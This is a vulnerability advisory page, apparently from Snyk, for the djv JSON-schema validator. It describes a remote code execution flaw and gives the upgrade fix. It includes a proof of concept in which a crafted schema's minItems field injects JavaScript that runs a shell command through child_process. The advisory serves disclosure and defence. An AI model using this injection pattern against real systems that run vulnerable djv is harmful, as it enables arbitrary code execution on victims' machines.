djv@0.1.2 vulnerabilities

dynamic json-schema validator

Direct Vulnerabilities

Known vulnerabilities in the djv package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • C
Remote Code Execution (RCE)

djv is a dynamic json-schema validator

Affected versions of this package are vulnerable to Remote Code Execution (RCE). By controlling the schema file, an attacker can run arbitrary JavaScript code on the victim machine.

POC:

const djv = require('djv');
const env = new djv();
const evilSchema = JSON.parse('{"common":{"type":"array", "minItems":"process.mainModule.require(`child_process`).execSync(`touch HACKED`)"}}')
env.addSchema('test', evilSchema);
env.validate('test#/common', { type: 'custom' });

How to fix Remote Code Execution (RCE)?

Upgrade djv to version 2.1.4 or higher.

<2.1.4